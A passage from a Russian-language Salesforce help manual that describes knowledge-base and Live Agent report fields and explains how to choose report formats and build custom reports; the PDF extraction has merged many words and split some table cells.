Табл. 46: Поля дополнительного объекта для отчетов по типам статей

ОписаниеПоле

Пользователь, добавивший статью в архив.Помещен в архив

Тип, связанный со статьей.Тип статьи

Автор статьи.Создано

Датирование текущей версии статьи. Если статья опубликована несколько раз, то
отображается дата последнего черновика. Для создания отчетов, использующих

Дата создания

исходную дату создания статьи, сначала создайте тип настраиваемого отчета,
объединяющийобъекты Knowledge Article (__ka) и Knowledge Article Version (__kav) для
данного типа статьи, чтобы можно было использовать созданную дату в записи в
объекте Knowledge Article, а не дату для записи в объекте Knowledge Article Version.

Любые настраиваемые поля, созданные для типов статей. Чтобы получить доступ к
любымнастраиваемымполямдля типастатьи, добавьте версиютипастатьивкачестве
дополнительного объекта.

Настраиваемые поля

Данное поле соответствует последней версии статьи.Является последней версией

Данное поле соответствует исходной статье, а не переводу.Является основным языком

Уникальный код, назначаемый переводу статьи автоматически.Код версии статьи базы знаний

Язык статьи.Язык

Пользователь, изменивший статью последним.Последнее изменение сделано

Дата последнего изменения статьи. Дата последнего изменения черновой статьи —
этовремясохранениячерновика. Датапоследнегоизмененияопубликованнойстатьи
— это время последней публикации статьи.

Дата последнего изменения

Данноеполесоответствуетосновнойстатье, обновленнойпослепубликацииданного
перевода.

Устарело

Данное поле соответствует черновой, опубликованной или архивной статье или
переводу.

Статус публикации

Описание статьи, добавленное автором.Сводка

Заголовок статьи.Заголовок

Дата завершения перевода.Дата завершения перевода
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ОписаниеПоле

Дата экспорта статьи на перевод.Дата экспорта перевода

Дата импорта перевода.Дата импорта перевода

Текст, используемый как гиперссылка на статью.Имя URL-адреса

Данное поле определяет действительность статьи.Статус проверки

Номер версии статьи.Номер версии

Данное поле соответствует статье, опубликованной на клиентском портале.Доступно на клиентском
портале

Данное поле соответствует статье, опубликованной во внутреннем приложении
(вкладка «Статьи»).

Доступно во внутреннем
приложении

Данное поле соответствует статье, опубликованной на партнерском портале.Доступно на партнерском
портале

Данное поле соответствует статье, опубликованной в общедоступной базе знаний.Отображается в общедоступной
базе знаний

Поля отчетов по статьям базы знаний

ОписаниеПоле

Уникальный номер, назначаемый статье автоматически.Номер статьи

Тип, связанный со статьей.Тип статьи

Количество обращений, вложенных в статью.Количество связей обращения

Автор статьи.Создано

Датирование текущей версии статьи. Если статья опубликована несколько раз, то
отображается дата последнего черновика. Для создания отчетов, использующих

Дата создания

исходную дату создания статьи, сначала создайте тип настраиваемого отчета,
объединяющийобъекты Knowledge Article (__ka) и Knowledge Article Version (__kav) для
данного типа статьи, чтобы можно было использовать созданную дату в записи в
объекте Knowledge Article, а не дату для записи в объекте Knowledge Article Version.

Дата первой публикации статьи.Дата первой публикации

Данное поле соответствует последней версии статьи.Является последней версией

Уникальный код, назначаемый переводу статьи автоматически.Код версии статьи базы знаний

Пользователь, изменивший статью последним.Последнее изменение сделано

Дата последнего изменения статьи. Дата последнего изменения черновой статьи —
этовремясохранениячерновика. Датапоследнегоизмененияопубликованнойстатьи
— это время последней публикации статьи.

Дата последнего изменения
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ОписаниеПоле

Дата последней публикации статьи.Дата последней публикации

Описание статьи, добавленное автором.Сводка

Заголовок статьи.Заголовок

Текст, используемый как гиперссылка на статью.Имя URL-адреса

Данное поле определяет действительность статьи.Статус проверки

Номер версии статьи.Номер версии

Данное поле соответствует статье, опубликованной на клиентском портале.Доступно на клиентском
портале

Данное поле соответствует статье, опубликованной во внутреннем приложении
(вкладка «Статьи»).

Доступно во внутреннем
приложении

Данное поле соответствует статье, опубликованной на партнерском портале.Доступно на партнерском
портале

Данное поле соответствует статье, опубликованной в общедоступной базе знаний.Отображается в общедоступной
базе знаний

Поля отчетов по поискам статьи базы знаний

ОписаниеПоле

Канал, применимый к статье. Возможные значения: «Все каналы», «Внутреннее
приложение», «Клиент», «Партнер» и «Общедоступная база знаний».

Канал

Количествопоисков статьи за выбранныйпромежуток времени (день, месяцили год).Количество

Общее количество поисков статьи за все время существования записи.Сводное количество

Дата последнего поиска статьи. Все строки отображают дату, канал и роль.Дата

Временнойпромежуток, охватывающийколичествопоисков. Возможные значения:
«Ежедневно», «Ежемесячно» и «Ежегодно». Например, запись, поле «Количество»

Продолжительность

которой содержит значение «70», а поле «Продолжительность» содержит значение
«Ежемесячно», обрабатываласьпоиском 70 раззапоследниймесяц. Итоговыезначения
подсчитываютсяежедневно (длятекущегомесяца), ежемесячно (дляпрошлыхмесяцев)
и ежегодно (для прошлых лет).

Имяроли, применяемойк записи.Каждая строкаотчетаотображаетпоискипоканалу
и роли.

Связанная роль

Поля отчетов по версии статьи базы знаний
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ОписаниеПоле

Пользователь, добавивший статью в архив.Помещен в архив

Дата архивирования статьи.Дата архивирования

Уникальный номер, назначаемый статье автоматически.Номер статьи

Тип, связанный со статьей.Тип статьи

Количество обращений, вложенных в статью.Количество связей обращения

Автор статьи.Создано

Датирование текущей версии статьи. Если статья опубликована несколько раз, то
отображается дата последнего черновика. Для создания отчетов, использующих

Дата создания

исходную дату создания статьи, сначала создайте тип настраиваемого отчета,
объединяющийобъекты Knowledge Article (__ka) и Knowledge Article Version (__kav) для
данного типа статьи, чтобы можно было использовать созданную дату в записи в
объекте Knowledge Article, а не дату для записи в объекте Knowledge Article Version.

Дата первой публикации статьи.Дата первой публикации

Данное поле соответствует последней версии статьи.Является последней версией

Данное поле соответствует исходной статье, а не переводу.Является основным языком

Уникальный код, назначаемый переводу статьи автоматически.Код версии статьи базы знаний

Язык статьи.Язык

Пользователь, изменивший статью последним.Последнее изменение сделано

Дата последнего изменения статьи. Дата последнего изменения черновой статьи —
этовремясохранениячерновика. Датапоследнегоизмененияопубликованнойстатьи
— это время последней публикации статьи.

Дата последнего изменения

Дата последней публикации статьи.Дата последней публикации
статьи.

Исходный язык статьи.Основной язык

Данноеполесоответствуетосновнойстатье, обновленнойпослепубликацииданного
перевода.

Устарело

Данное поле соответствует черновой, опубликованной или архивной статье или
переводу.

Статус публикации

Описание статьи, добавленное автором.Сводка

Заголовок статьи.Заголовок

Дата завершения перевода.Дата завершения перевода

Дата экспорта статьи на перевод.Дата экспорта перевода

Дата импорта перевода.Дата импорта перевода
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ОписаниеПоле

Текст, используемый как гиперссылка на статью.Имя URL-адреса

Данное поле определяет действительность статьи.Статус проверки

Номер версии статьи.Номер версии

Данное поле соответствует статье, опубликованной на клиентском портале.Доступно на клиентском
портале

Данное поле соответствует статье, опубликованной во внутреннем приложении
(вкладка «Статьи»).

Доступно во внутреннем
приложении

Данное поле соответствует статье, опубликованной на партнерском портале.Доступно на партнерском
портале

Данное поле соответствует статье, опубликованной в общедоступной базе знаний.Отображается в общедоступной
базе знаний

Поля отчетов по просмотрам статьи базы знаний

При необходимости добавьте не более шести из восьми полей ниже.

ОписаниеПоле

Канал, применимый к статье. Возможные значения: «Все каналы», «Внутреннее
приложение», «Клиент», «Партнер» и «Общедоступная база знаний».

Канал

Количествопросмотров статьи за выбранныйпромежуток времени (день, месяцили
год).

Количество

Общее количество просмотров статьи за все время существования записи.Сводное количество

Дата последнего просмотра статьи. Все строки отображают дату, канал и роль.Дата

Временнойпромежуток, охватывающийколичествопоисков. Возможные значения:
«Ежедневно», «Ежемесячно» и «Ежегодно». Например, запись, поле «Количество»

Продолжительность

которой содержит значение «70», а поле «Продолжительность» содержит значение
«Ежемесячно», обрабатываласьпоиском 70 раззапоследниймесяц. Итоговыезначения
подсчитываютсяежедневно (длятекущегомесяца), ежемесячно (дляпрошлыхмесяцев)
и ежегодно (для прошлых лет).

Имя роли, применяемой к записи.Связанная роль

Среднийрейтингпросмотровстатьи. Обратите внимание, чторезультатыучитывают
расчеты по периоду расцвета. При отсутствии просмотров средний рейтинг статьи

Результат

понижается или повышается каждые 15 дней. Данное изменение позволяет новым
популярным статьям конкурировать со старымиили устаревшими статьями за более
высокие или низкие рейтинги.

Количество просмотров опубликованной статьи.Общее количество просмотров
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Поля отчетов по голосованиям по статье базы знаний

ОписаниеПоле

Канал, применимый к статье. Возможные значения: «Все каналы», «Внутреннее
приложение», «Клиент», «Партнер» и «Общедоступная база знаний».

Канал

Количество голосований по статье за выбранный промежуток времени (день, месяц
или год).

Количество

Общее количество голосований по статье за все время существования записи.Сводное количество

Дата последнего голосования по статье. Все строки отображают дату, канал и роль.Дата

Временнойпромежуток, охватывающийколичествопоисков. Возможные значения:
«Ежедневно», «Ежемесячно» и «Ежегодно». Например, запись, поле «Количество»

Продолжительность

которой содержит значение «70», а поле «Продолжительность» содержит значение
«Ежемесячно», обрабатываласьпоиском 70 раззапоследниймесяц. Итоговыезначения
подсчитываютсяежедневно (длятекущегомесяца), ежемесячно (дляпрошлыхмесяцев)
и ежегодно (для прошлых лет).

Имя роли, применяемой к записи.Связанная роль

Поля отчетов по поиску ключевых слов по базе знаний

ОписаниеПоле

Канал, применимый к статье. Возможные значения: «Все каналы», «Внутреннее
приложение», «Клиент», «Партнер» и «Общедоступная база знаний».

Канал

Количествопоисковключевыхсловза выбранныйпромежутоквремени (день, месяц
или год).

Количество

Датапоследнегопоиска ключевого слова. Все строкиотображаютдату, каналироль.Дата

Временнойпромежуток, охватывающийколичествопоисков. Возможные значения:
«Ежедневно», «Ежемесячно» и «Ежегодно». Например, запись, поле «Количество»

Продолжительность

которой содержит значение «70», а поле «Продолжительность» содержит значение
«Ежемесячно», обрабатываласьпоиском 70 раззапоследниймесяц. Итоговыезначения
подсчитываютсяежедневно (длятекущегомесяца), ежемесячно (дляпрошлыхмесяцев)
и ежегодно (для прошлых лет).

Данное поле соответствует ключевому слову, найденному в результате поиска по
базе знаний.

Найдено

Поисковый запрос, используемыйдляпоиска опубликованных статей в базе знаний.Ключевое слово

Поля отчетов по действию поиска по базе знаний
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ОписаниеПоле

Порядок, в котором статьи появлялись в результатах поиска при сортировке по
релевантности и случаи, когда пользователищелкали результаты поиска.

Средняя позиция выбора

Канал, применимый к статье. Возможные значения: «Все каналы», «Внутреннее
приложение», «Клиент», «Партнер» и «Общедоступная база знаний».

Канал

Название статьи, которующелкнул пользователь после отсортировки данных
пользователем по релевантности.

Заголовок выбранной статьи

Временнойпромежуток, охватывающийколичествопоисков. Возможные значения:
«Ежедневно», «Ежемесячно» и «Ежегодно». Например, запись, поле «Количество»

Продолжительность

которой содержит значение «70», а поле «Продолжительность» содержит значение
«Ежемесячно», обрабатываласьпоиском 70 раззапоследниймесяц. Итоговыезначения
подсчитываютсяежедневно (длятекущегомесяца), ежемесячно (дляпрошлыхмесяцев)
и ежегодно (для прошлых лет).

Язык, применяемый к поиску пользователя.Язык

Количество результатов поиска, возвращенных для поискового термина. При
использованииполя «Продолжительность» данное значение агрегируетсянаоснове
указанного периода времени.

Количество результатов

Количество поисков за выбранный промежуток времени (день, месяц или год).Количество поисков

Количество отдельных пользователей, выбравших статью.Количество пользователей

Дата поиска.Дата поиска

Первые 100 символов поискового запроса, использованного для поиска
опубликованных статей в базе знаний.

Поисковый запрос

Отчетыпо сеансам Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Отчеты по сеансам Live Agent позволяют собирать данные о действиях, выполненных
агентами при общении с клиентами (например, время нахождения агентов в сети или
количество назначенных запросов на чат).

Типотчетаопределяетнаборзаписейиполей, доступныхвотчете, исходяизвзаимосвязей
между основным и связанными с ним объектами. Отчеты содержат только те записи,
которые соответствуют критериям, заданным в типе отчета.Система позволяет создать
тип настраиваемого отчета по сеансам Live Agent, предназначенный для сбора данных
о действиях, выполняемых агентамиприподдержке клиентов. Данные отчеты содержат
сведения обо всех чатах, зарегистрированных в течение конкретного сеанса Live Agent.

Чтобынастроитьотчетыпосеансам Live Agent, добавьте столбцы, содержащиесведения
о любых перечисленных ниже категориях, а также настраиваемые поля, связанные с
сеансами Live Agent.

ОписаниеИмя столбца

Имя агента, связанного с сеансом.Агент: полное имя
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Количество раз, когда агент убирал флажок помощи во время сеанса Live Agent.Снятые флажки помощи (Агент)

Количество раз, когда администратор убирал флажок помощи во время сеанса
Live Agent.

Снятые флажки помощи
(Администратор)

Количествораз, когда агентподнималфлажокпомощивовремя сеанса Live Agent.Поднятые флажки помощи

Количество запросов на чат, назначенных агенту.Количество назначенных запросов
на чат

Количество запросов на чат, отклоненных агентом вручную.Количество отклоненных запросов
на чат (вручную)

Количество истекших запросов на чат, назначенных агенту.Количество отклоненных запросов
на чат (истечение времени активной
доставки)

Количество чатов, участником которых являлся агент во время сеанса.Количествотекущихзапросовначат

Полное имя автора записи сеанса.Создано: полное имя

Дата создания записи сеанса.Дата создания

Полное имя пользователя, изменившего запись сеанса последним.Последнее изменение сделано:
полное имя

Дата последнего изменения записи сеанса.Дата последнего изменения

Код записи сеанса Live Agent.Код сеанса Live Agent

Автоматически созданный код сеанса Live Agent.Имя сеанса Live Agent

Время и дата начала сеанса агентом.Время входа

Время и дата завершения сеанса агентом.Время выхода

Общеевремяпростояагентанапротяжениисеанса (всекундах). Методвычисления
времени простоя агента определяется следующейформулой: «("Время работы: в
сети" + "Время работы: отошел") - "Время работы: в чатах" = "Время простоя"».

Время простоя

Общее время максимальной нагрузки агента (в секундах).Время работы: максимальная
нагрузка

Общее время нахождения агента в статусе «Отошел» (в секундах).Время работы: отошел

Общее время нахождения агента в чатах (в секундах).Время работы: в чатах

Общее время нахождения агента в сети (в секундах).Время работы: в сети

4048

ОтчетыAnalytics



Составлениеотчетовпопартнерам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для составления отчетов по
партнерам:
• «Чтение» для

организаций или
возможностей

И

«Запуск отчетов»

Некоторые возможности могут быть связаны с партнерами. Данный отчет позволяет
определять и анализировать подобные взаимосвязи.

Чтобы составить отчет по всем или основным партнерам внутри возможностей,
выполните указанные ниже действия.

1. Выберите отчет «Возможности партнера» на вкладке «Отчеты».

2. Чтобы изменить отчет и просмотреть только основных партнеров, нажмите кнопку
«Настроить». Добавьте фильтр поля «"Основной" равно "1"».

Столбец «Партнер», добавленный в любой другой отчет по возможностям, отображает
только основных партнеров.

Чтобы проанализировать партнеров организаций, выполните отчет
«Организации-партнеры».

Составлениеотчетовпо группамвзаимосвязи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Salesforce for Wealth
Management

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Составлениеотчетовпогруппамвзаимосвязииучастникамгруппывзаимосвязидоступно
только после включения администратором типов настраиваемых отчетов для данных
настраиваемых объектов.

Типынастраиваемыхотчетов — это единственныйспособпредоставитьпользователям
доступ к отчетам по группам взаимосвязи; система Salesforce не предоставляет образцов
отчетов или стандартной папки отчетов по группам взаимосвязи.

Чтобы создать общедоступнуюпапку отчетов по группам взаимосвязи, администратор
должен выполнить указанные ниже действия.

1. Создайте тип настраиваемого отчета для объектов группы взаимосвязи.

Совет: Чтобы создать тип отчета по участникам групп взаимосвязи, выберите
основной объект типа отчета «Группы взаимосвязи» и добавьте взаимосвязь
объектов «Участники группы взаимосвязи». Чтобы создать тип отчета по
основныморганизациям группывзаимосвязи, выберите основнойобъект типа
отчета «Организации» идобавьте взаимосвязьобъектов «Группы взаимосвязи
(основная организация)».

2. Создайтеобщедоступнуюпапкудляотчетовпогруппамвзаимосвязи. Данноедействие
доступнотолькоприналичииполномочия «Управлениеобщедоступнымиотчетами».

3. Используя тип настраиваемого отчета, создайте как минимум один настраиваемый
отчетпогруппамвзаимосвязи. Назначьтеотчетысозданнойпапкеотчетовпогруппам
взаимосвязи.
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После выполнения данных действий папка отчетов по группам взаимосвязи доступна пользователям на начальной
странице отчетов.

Включениеотчета «Ответственныйза организацию»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отображения или
сокрытия отчета
«Ответственный за
организацию»:
• «Настройка

приложения»

Отчет «Ответственный за организацию» возвращает список всех организаций и
пользователей, несущих за них ответственность.

Если единой модели общего доступа к организациям задано значение «Личный», то
доступ к отчету «Ответственный за организацию» может быть ограничен.

Чтобы показать или скрыть данный отчет, выполните указанные ниже действия.

1. Введитестроку «Отчет "Ответственный за организацию"» вполе «Быстрый поиск»
вменю «Настройка» ивыберитепункт «Отчет "Ответственныйзаорганизацию"».
Данный параметр доступен только в том случае, если модели общего доступа к
организациям задано значение «Личный».

2. Чтобы разрешить пользователям выполнение данного отчета, установите
соответствующийфлажок. Впротивномслучаевыполнениеданногоотчетадоступно
только администраторамипользователям сполномочием «Просмотр всех данных».

3. Нажмите кнопку «Сохранить».

Отчет опоискепофайлам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Salesforce Files доступно во:
всех выпусках, кроме
клиентских порталов

Используйтеотчетдляопределенияпервых 300 критериевпоискадляфайлаиопределите
отсутствующее содержимое или то, что нужно переименовать, на основе критериев
поиска пользователя и позиции выбора.

Необходимые полномочия пользователя

«Управление типами настраиваемых
отчетов»

Для создания или обновления типов
настраиваемых отчетов:

«Управлениеобщедоступнымиотчетами»Для создания общедоступной папки
отчетов:

“Run Reports” И “View All Data” ИЛИ “Content
Administrator”. Пользователям с

Для запуска отчета «Поиск по файлам»:

полномочием «Управлениебиблиотекой»
для библиотеки не нужны полномочия
«Просмотр всех данных» или
«Администраторсодержимого» длязапуска
отчета.
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Типынастраиваемыхотчетов — этоединственныйспособпредоставитьпользователямдоступкотчетамопоискефайлов;
система Salesforce не предоставляет образцов отчетов о поиске файлов или стандартной папки отчетов.

Основной объект для отчета о поиске файлов

При создании типа настраиваемого отчета выберитеДействия по поискуфайлов в качествеОсновного объекта.

Доступные поля отчета о действиях по поиску файлов

В следующей таблице приведены все доступные поля для отчетов о поиске файлов.

ОписаниеПоле

Порядок отображенияфайла в результатах поиска при его
выборе из списка результатов.

Средняя позиция выбора

Количество результатов поиска, возвращенных для
поискового термина. При использовании поля

Среднее количество результатов

«Продолжительность» данное значение агрегируется на
основе указанного периода времени.

Временной промежуток, охватывающий проведенные
поиски. Возможныезначения: «Ежедневно», «Ежемесячно»

Продолжительность

и «Ежегодно». Например, запись, поле «Количество»
которой содержит значение «70», а поле
«Продолжительность» содержит значение «Ежемесячно»,
обрабатывалась поиском 70 раз за последний месяц.
Итоговые значения подсчитываются ежедневно (для
текущего месяца), ежемесячно (для прошлых месяцев) и
ежегодно (для прошлых лет).

Язык, применяемый к поиску пользователя.Язык

Количество поисков за выбранный промежуток времени
(день, месяц или год).

Количество поисков

Количество отдельных пользователей, выбравших файл.Количество пользователей

Дата поиска.Дата поиска

Первые 100 символов критерия, использованного для
поиска опубликованных файлов.

Поисковые термины

СМ. ТАКЖЕ:

Доступ к папкам отчетов

Создание и редактирование папок

Создание типа настраиваемого отчета

Создание отчета
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Выбор формата отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Отчет может использовать табличный, сводный, матричный или составной формат.
Оптимальныйформат отчета определяется сложностью отображаемых данных и
текущими навыками пользователей.

Чтобы выбрать формат отчета, откройте меню «Формат» в конструкторе отчетов. По
умолчанию выбран табличный отчет.

ОписаниеФормат

Табличныеотчеты — это самыйпростойибыстрыйспособпросмотра
данных. Подобно электронным таблицам, табличные отчеты содержат
упорядоченныйнаборполейвстолбцах, гдекаждаясовпадающаязапись
отображаетсявстроке. Табличныеотчетыпредназначаютсядлясоздания
списков записей или списка с одной общей суммой. Они не могут
использоваться для создания групп данных или диаграмм, но могут
использоваться в панелях мониторинга только при наличии
ограничениястрок. Например, почтовыеспискиконтактовиотчетыпо
действиям.

Табличный

Сводные отчеты аналогичны табличным отчетам, но позволяют
группировать строкиданных, просматриватьпромежуточные значения
исоздаватьдиаграммы. Данныеотчетымогутиспользоваться в качестве
исходных для компонентов панели мониторинга. Рекомендуем
использовать данный тип отчета для отображения промежуточных

Сводный

значений на основе значения отдельного поля или создания
иерархического списка (например, все возможности рабочей группы,
охваченные промежуточными результатами по полям «Этап» и
«Ответственный»).Сводные отчеты без группировок отображаются на
странице запуска отчета в виде табличных.

Матричные отчеты аналогичны сводным отчетам, но позволяют
группировать и резюмировать данные по строкам и столбцам. Данные

Матричный

отчеты могут использоваться в качестве исходных для компонентов
панели мониторинга. Рекомендуем использовать данный тип отчета
длясравнениясвязанныхобщихсумм, особенноприналичиибольших
объемов данных для резюмирования и необходимости сравнения
значений в нескольких разных полях или просмотра данных по дате и
продукту, пользователю или географии.Матричные отчеты без одной
группировки строк и одной группировки столбцов отображаются на
странице запуска отчета в виде сводных.

Составныеотчетыпозволяютсоздаватьблокиотчета, соответствующие
различнымпредставлениямданных. Каждыйблок выступает в качестве

Составной

суботчета, содержащего собственные поля, столбцы, параметры
сортировкиикритериифильтрации. Составнойотчетможет содержать
данные из разных типов отчетов.

Составные отчеты доступны только в Enterprise Edition, Developer
Edition, Performance Edition и Unlimited Edition.
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Изменение формата отчета

Изменение формата влияет на фильтры и группировки.

Что происходит?Что изменяется?

Фильтр «Строки для отображения» удаляется.Табличный отчет на сводный или
матричный

Все группировки, диаграммы и настраиваемые формулы резюмирования
удаляютсяизотчета. Полягруппировкинепреобразуютсявстолбцытабличного

Сводный, матричный или составной
отчет на табличный

отчета. Если составнойотчет содержитнесколько блоков, то табличныйотчет
дополняется столбцами только из первого блока.

Первая группировка сводного отчета становится первой группировкой строк.
Вторая группировка становится первой группировкой столбцов. Третья
группировка становится второй группировкой строк.

При использовании мастера отчетов третья группировка сводного отчета
удаляется.

Сводный отчет на матричный

Первая группировка строк становится первой группировкой сводного отчета.
Вторая группировка строк становится третьей группировкой сводного отчета.

Матричный отчет на сводный

Первая группировкастолбцовстановится второй группировкойсводногоотчета.
Вторая группировка столбцов удаляется.

Прииспользованиимастера отчетов вторая группировка строки вторая группировка
столбцов удаляются.

Текущий отчет становится первым блоком составного отчета, а тип отчета
становится основным для составного отчета.

Табличный, сводный или матричный
отчет на составной

Блоки составного отчета форматируются подобно сводным отчетам, поэтому
в случае переключения между сводными составным отчетами группировки не
меняются. В случае переключения между матричным и составным отчетами,
группировки преобразуются также, как при переключении между матричным
и сводным отчетами.

Нижеперечисленыэлементы, которыенеподдерживаютсясоставнымиотчетами
и не преобразуются.

• Поля области

• Кросс-фильтры

• Фильтр «Строки для отображения»

СМ. ТАКЖЕ:

Создание отчета
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Создание отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Создайте отчет, чтобыполучить поминутныйобзор какого-либо аспекта деятельности,
например статуса клиентов, возможностей, обращений в службу поддержки и т. д.

Чтобы создать отчет, выполните указанные ниже действия.

1. Нажмите кнопку «Создать отчет» на вкладке «Отчеты».

2. Выберите нужный тип отчета и нажмите кнопку «Создать».

3. Сохраните или запустите настроенный отчет.

СМ. ТАКЖЕ:

Настройка отчетов

Запуск отчета

4054

ОтчетыAnalytics



Создание настраиваемого отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для планирования отчетов:
• «Планированиеотчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Пользователи могут настраивать стандартные отчеты или создавать собственные
настраиваемые отчеты в соответствии с текущими требованиями организации.

Пользователи с полномочием «Управление типами настраиваемых отчетов» могут
определять типынастраиваемых отчетов, которые расширяют типыисходных отчетов,
используемых для создания или обновления настраиваемых отчетов. Тип отчета
определяет набор записей и полей, доступных в отчете, исходя из взаимосвязей между
основным и связанными с ним объектами. В отчетах отображаются только те записи,
которые соответствуют критериям, заданным в типе отчета. Система Salesforce
предоставляетдоступкнаборупредопределенныхтиповстандартныхотчетов, которые
могутиспользоватьсяадминистраторамиорганизациидлясозданиятиповнастраиваемых
отчетов.

Полномочие «Управление отчетными снимками» позволяет пользователям создавать
и планировать снимки. Отчетный снимок — это средство составления отчетов по
архивнымданным. Авторизованныепользователимогутсохранятьрезультатытабличных
или сводных отчетов в полях настраиваемого объекта, а затем соотносить эти поля с
соответствующимиполямицелевогообъекта. Кроме того, онимогутпланировать время
выполненияотчетадля загрузкиданныхотчета вполянастраиваемогообъекта.Отчетные
снимкипозволяютобрабатыватьданныеотчетованалогичнодругимизаписямиSalesforce.

Создание настраиваемого отчета в режиме доступности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

Прим.: Данный раздел актуален только в том случае, если не используется
конструктор отчетов. Конструктор отчетов — это экранный редактор отчетов.

Чтобы создать настраиваемый отчет посредством мастера настраиваемых отчетов,
выполните указанные ниже действия.

1. Нажмите кнопку «Создать настраиваемый отчет» на вкладке «Отчеты».

2. Выберите нужный тип данных и нажмите кнопку «Далее».

Чтобысоздатьотчетыпонастраиваемымобъектам, выберите категориютипаотчета
«Другие отчеты», если настраиваемый объект не связан со стандартным объектом.
Если настраиваемый и стандартный объекты связаны посредством взаимосвязи
«Основная — подробная» или «Поиск», выберите стандартныйобъект для категории
типа отчета.

3. Выберите формат отчета.

4. Чтобы перейти к следующему действию мастера, нажмите кнопку «Далее». Ниже
перечислены компоненты, которые должны быть настроены для каждого отчета.

• Выбор заголовков строк и столбцов. Выберите поля для группирования и
промежуточного суммирования данных сводного или матричного отчета на
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странице «Выбрать группировку». Чтобы выполнить дополнительную сортировку данных сводного отчета,
выберите несколько полей сортировки. Выберите поля резюмирования для меток строк и заголовков столбцов
матричного отчета. Данные, сгруппированные по полю даты, могут быть дополнительно сгруппированы по
определенному временному промежутку (например, дни, недели или месяцы).

Прим.: Еслипараметр «Группировать даты по:» на странице «Выбрать группировку» содержит значение
«Календарный месяц года» или «Календарный день месяца», то данные группировки дат будут недоступны
длядетализациивотчетахилипанеляхмониторинга. Взамен, пользователямотображаетсянефильтрованный
отчет.

• Резюмированиеданных.Выберитетипысводнойинформациидляотображениявчисловыхполяхнастранице
«Выбрать столбцы для резюмирования».

• Создание настраиваемыхформул резюмирования. Создайте настраиваемые формулы резюмирования для
вычисления дополнительных итоговых значений на основе текущих полей резюмирования сводного или
матричного отчета на странице «Выбрать столбцыдля резюмирования». Формула — это алгоритм, извлекающий
свое значение из других полей, выражений или значений. См. раздел «Создание настраиваемойформулы
резюмирования» на странице 4066.

• Выбор полей. Выберите поля для отображения в отчете на странице «Выбрать столбцы». Доступные поля
определяются макетом страницы и параметрами безопасности поля. Поля подробного текста (например, поле
«Описание») отображают только первые 255 символов.

• В отчете отображаются только первые 254 символа области подробного или обогащенного текста.

• Упорядочивание столбцов.Определите порядок отображения выбранных полей на странице «Упорядочить
столбцы».

• Ограничение результатов отчета. Чтобы ограничить результаты отчета конкретными записями, выберите
соответствующиепараметрывраскрывающихся спискахна странице «Выбрать критерии» инастройтепараметры
фильтрации.

Мастеротчетовподдерживаетнеболее 10фильтров. Еслиотчет содержитболее 10фильтров, тодополнительные
фильтры пропускаются, а отчет отображает ошибку для любой логики фильтра.

Совет: Чтобы воспользоваться табличным отчетом на панели мониторинга, рекомендуем ограничить
количество строк, выбрав значение для параметра «Строки для отображения», столбец сортировки и
порядок отображения на странице отчета «Выбрать критерии». Панели мониторинга, основанные на
табличных отчетах, не могут использовать шкалы или показатели.

• Параметры диаграммы. Чтобы просмотреть данные отчета в виде диаграммы, настройте свойства диаграммы
вдействии «Выбортипадиаграммыиосновныхпоказателейотчета» мастераотчетов. Диаграммыдоступнытолько
для сводных и матричных отчетов.

5. Чтобы просмотреть отчет, нажмите кнопку «Запустить отчет». Чтобы сохранить отчет в виде файла Excel или в
другом формате, нажмите кнопку «Экспортировать сведения».

Совет: По мере настройки критериев и параметров отчеты могут нуждаться в многократных перезапусках. Чтобы
сократить объем тестовых данных, используемых настраиваемым отчетом, рекомендуем применять фильтрацию.
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Группирование данных отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Сводные, матричные и составные отчеты позволяют группировать данные в строках
или столбцах для отображения важной информации. Например, чтобы просмотреть
закрытые возможности, сгруппируйте возможности по столбцу «Дата закрытия»; чтобы
просмотреть количество обращений для каждого продукта, сгруппируйте обращения
по продукту. Группировки могут использоваться внутри группировок.

Данные для группирования

Панель «Поля» содержит поля, доступные в выбранном типе отчета и организованные
попапкам.Преждечемгруппироватьданныесводногоотчета, перетащитекакминимум
